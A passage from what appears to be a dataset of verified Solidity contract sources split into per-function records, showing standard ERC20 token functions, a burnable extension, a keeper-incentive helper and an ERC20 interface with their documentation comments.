}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
| /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
7234,
7595
]
} | 11,276 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
8030,
8381
]
} | 11,277 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20Burnable | abstract contract ERC20Burnable is ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
} | /**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/ | NatSpecMultiLine | burn | function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
| /**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
152,
246
]
} | 11,278 |
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20Burnable | abstract contract ERC20Burnable is ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
} | /**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/ | NatSpecMultiLine | burnFrom | function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
| /**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
560,
856
]
} | 11,279 |
ButterBatchProcessing | contracts/core/utils/KeeperIncentivized.sol | 0xcd979a9219db9a353e29981042a509f2e7074d8b | Solidity | KeeperIncentivized | abstract contract KeeperIncentivized {
/**
* @notice Role ID for KeeperIncentive
* @dev Equal to keccak256("KeeperIncentive")
*/
bytes32 public constant KEEPER_INCENTIVE = 0x35ed2e1befd3b2dcf1ec7a6834437fa3212881ed81fd3a13dc97c3438896e1ba;
/**
* @notice Process the specified incentive with `msg.sender` as the keeper address
* @param _contractName bytes32 name of calling contract
* @param _index uint8 incentive ID
*/
modifier keeperIncentive(bytes32 _contractName, uint8 _index) {
_handleKeeperIncentive(_contractName, _index, msg.sender);
_;
}
/**
* @notice Process a keeper incentive
* @param _contractName bytes32 name of calling contract
* @param _index uint8 incentive ID
* @param _keeper address of keeper to reward
*/
function _handleKeeperIncentive(
bytes32 _contractName,
uint8 _index,
address _keeper
) internal {
_keeperIncentive().handleKeeperIncentive(_contractName, _index, _keeper);
}
/**
* @notice Return an IKeeperIncentive interface to the registered KeeperIncentive contract
* @return IKeeperIncentive keeper incentive interface
*/
function _keeperIncentive() internal view returns (IKeeperIncentive) {
return IKeeperIncentive(_getContract(KEEPER_INCENTIVE));
}
/**
* @notice Get a contract address by name from the contract registry
* @param _name bytes32 contract name
* @return contract address
* @dev Users of this abstract contract should also inherit from `ContractRegistryAccess`
* and override `_getContract` in their implementation.
*/
function _getContract(bytes32 _name) internal view virtual returns (address);
} | /**
* @notice Provides modifiers and internal functions for processing keeper incentives
* @dev Derived contracts using `KeeperIncentivized` must also inherit `ContractRegistryAccess`
* and override `_getContract`.
*/ | NatSpecMultiLine | _handleKeeperIncentive | function _handleKeeperIncentive(
bytes32 _contractName,
uint8 _index,
address _keeper
) internal {
_keeperIncentive().handleKeeperIncentive(_contractName, _index, _keeper);
}
| /**
* @notice Process a keeper incentive
* @param _contractName bytes32 name of calling contract
* @param _index uint8 incentive ID
* @param _keeper address of keeper to reward
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | GNU GPLv3 | {
"func_code_index": [
795,
991
]
} | 11,280 |
|
ButterBatchProcessing | contracts/core/utils/KeeperIncentivized.sol | 0xcd979a9219db9a353e29981042a509f2e7074d8b | Solidity | KeeperIncentivized | abstract contract KeeperIncentivized {
/**
* @notice Role ID for KeeperIncentive
* @dev Equal to keccak256("KeeperIncentive")
*/
bytes32 public constant KEEPER_INCENTIVE = 0x35ed2e1befd3b2dcf1ec7a6834437fa3212881ed81fd3a13dc97c3438896e1ba;
/**
* @notice Process the specified incentive with `msg.sender` as the keeper address
* @param _contractName bytes32 name of calling contract
* @param _index uint8 incentive ID
*/
modifier keeperIncentive(bytes32 _contractName, uint8 _index) {
_handleKeeperIncentive(_contractName, _index, msg.sender);
_;
}
/**
* @notice Process a keeper incentive
* @param _contractName bytes32 name of calling contract
* @param _index uint8 incentive ID
* @param _keeper address of keeper to reward
*/
function _handleKeeperIncentive(
bytes32 _contractName,
uint8 _index,
address _keeper
) internal {
_keeperIncentive().handleKeeperIncentive(_contractName, _index, _keeper);
}
/**
* @notice Return an IKeeperIncentive interface to the registered KeeperIncentive contract
* @return IKeeperIncentive keeper incentive interface
*/
function _keeperIncentive() internal view returns (IKeeperIncentive) {
return IKeeperIncentive(_getContract(KEEPER_INCENTIVE));
}
/**
* @notice Get a contract address by name from the contract registry
* @param _name bytes32 contract name
* @return contract address
* @dev Users of this abstract contract should also inherit from `ContractRegistryAccess`
* and override `_getContract` in their implementation.
*/
function _getContract(bytes32 _name) internal view virtual returns (address);
} | /**
* @notice Provides modifiers and internal functions for processing keeper incentives
* @dev Derived contracts using `KeeperIncentivized` must also inherit `ContractRegistryAccess`
* and override `_getContract`.
*/ | NatSpecMultiLine | _keeperIncentive | function _keeperIncentive() internal view returns (IKeeperIncentive) {
return IKeeperIncentive(_getContract(KEEPER_INCENTIVE));
}
| /**
* @notice Return an IKeeperIncentive interface to the registered KeeperIncentive contract
* @return IKeeperIncentive keeper incentive interface
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | GNU GPLv3 | {
"func_code_index": [
1157,
1294
]
} | 11,281 |
|
ButterBatchProcessing | contracts/core/utils/KeeperIncentivized.sol | 0xcd979a9219db9a353e29981042a509f2e7074d8b | Solidity | KeeperIncentivized | abstract contract KeeperIncentivized {
/**
* @notice Role ID for KeeperIncentive
* @dev Equal to keccak256("KeeperIncentive")
*/
bytes32 public constant KEEPER_INCENTIVE = 0x35ed2e1befd3b2dcf1ec7a6834437fa3212881ed81fd3a13dc97c3438896e1ba;
/**
* @notice Process the specified incentive with `msg.sender` as the keeper address
* @param _contractName bytes32 name of calling contract
* @param _index uint8 incentive ID
*/
modifier keeperIncentive(bytes32 _contractName, uint8 _index) {
_handleKeeperIncentive(_contractName, _index, msg.sender);
_;
}
/**
* @notice Process a keeper incentive
* @param _contractName bytes32 name of calling contract
* @param _index uint8 incentive ID
* @param _keeper address of keeper to reward
*/
function _handleKeeperIncentive(
bytes32 _contractName,
uint8 _index,
address _keeper
) internal {
_keeperIncentive().handleKeeperIncentive(_contractName, _index, _keeper);
}
/**
* @notice Return an IKeeperIncentive interface to the registered KeeperIncentive contract
* @return IKeeperIncentive keeper incentive interface
*/
function _keeperIncentive() internal view returns (IKeeperIncentive) {
return IKeeperIncentive(_getContract(KEEPER_INCENTIVE));
}
/**
* @notice Get a contract address by name from the contract registry
* @param _name bytes32 contract name
* @return contract address
* @dev Users of this abstract contract should also inherit from `ContractRegistryAccess`
* and override `_getContract` in their implementation.
*/
function _getContract(bytes32 _name) internal view virtual returns (address);
} | /**
* @notice Provides modifiers and internal functions for processing keeper incentives
* @dev Derived contracts using `KeeperIncentivized` must also inherit `ContractRegistryAccess`
* and override `_getContract`.
*/ | NatSpecMultiLine | _getContract | function _getContract(bytes32 _name) internal view virtual returns (address);
| /**
* @notice Get a contract address by name from the contract registry
* @param _name bytes32 contract name
* @return contract address
* @dev Users of this abstract contract should also inherit from `ContractRegistryAccess`
* and override `_getContract` in their implementation.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | GNU GPLv3 | {
"func_code_index": [
1605,
1684
]
} | 11,282 |
|
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() virtual public view returns (uint);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
110,
171
]
} | 11,283 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address tokenOwner) virtual public view returns (uint balance);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
250,
335
]
} | 11,284 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
610,
714
]
} | 11,285 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
